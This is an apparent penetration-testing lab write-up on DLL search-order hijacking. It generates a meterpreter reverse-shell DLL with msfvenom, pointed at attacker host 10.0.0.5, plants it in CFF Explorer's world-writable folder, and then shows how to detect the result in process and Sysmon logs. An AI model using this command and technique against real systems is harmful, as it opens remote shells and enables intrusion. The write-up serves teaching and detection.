DLL Hijacking

Execution

Generating a DLL that will be loaded and executed by a vulnerable program which connect back to the attacking system with a meterpreter shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f dll > evil-meterpreter64.dll

To illustrate this attack, we will exploit our beloved tool CFF Explorer.exe . Once the program is executed, it attempts to load CFF ExplorerENU.dll from the location the program is installed to, however that DLL cannot be loaded (note the NAME NOT FOUND) as it does not exist in the given path:

Luckily for the attacker, the location in which the DLL is being looked for - is world writable! Let's move our evil DLL evil-meterpreter64.dll to C:\Program Files\NTCore\Explorer Suite and rename it to CFF ExplorerENU.dll

Launching the program again gives different results - DLL is found (SUCCESS):

which is good news for the attacker - the DLL code gets executed, which gives attacker a meterpreter shell:

Observations

On the victim system, we can only see rundll32 with no associated parent process and established connection - this should raise your suspicion immediately:

Looking at the rundll32 image info, we can see the current directory, which is helpful:

Looking at the sysmon logs gives us a better understanding of what happened - CFF Explorer.exe was started as a process 4856 which then kicked off a rundll32 (1872) which then established a connection to 10.0.0.5:

References

Hijack Execution Flow: DLL Search Order Hijacking, Sub-technique T1574.001 - Enterprise | MITRE ATT&CK®

DLL HijackingPenetration Testing Lab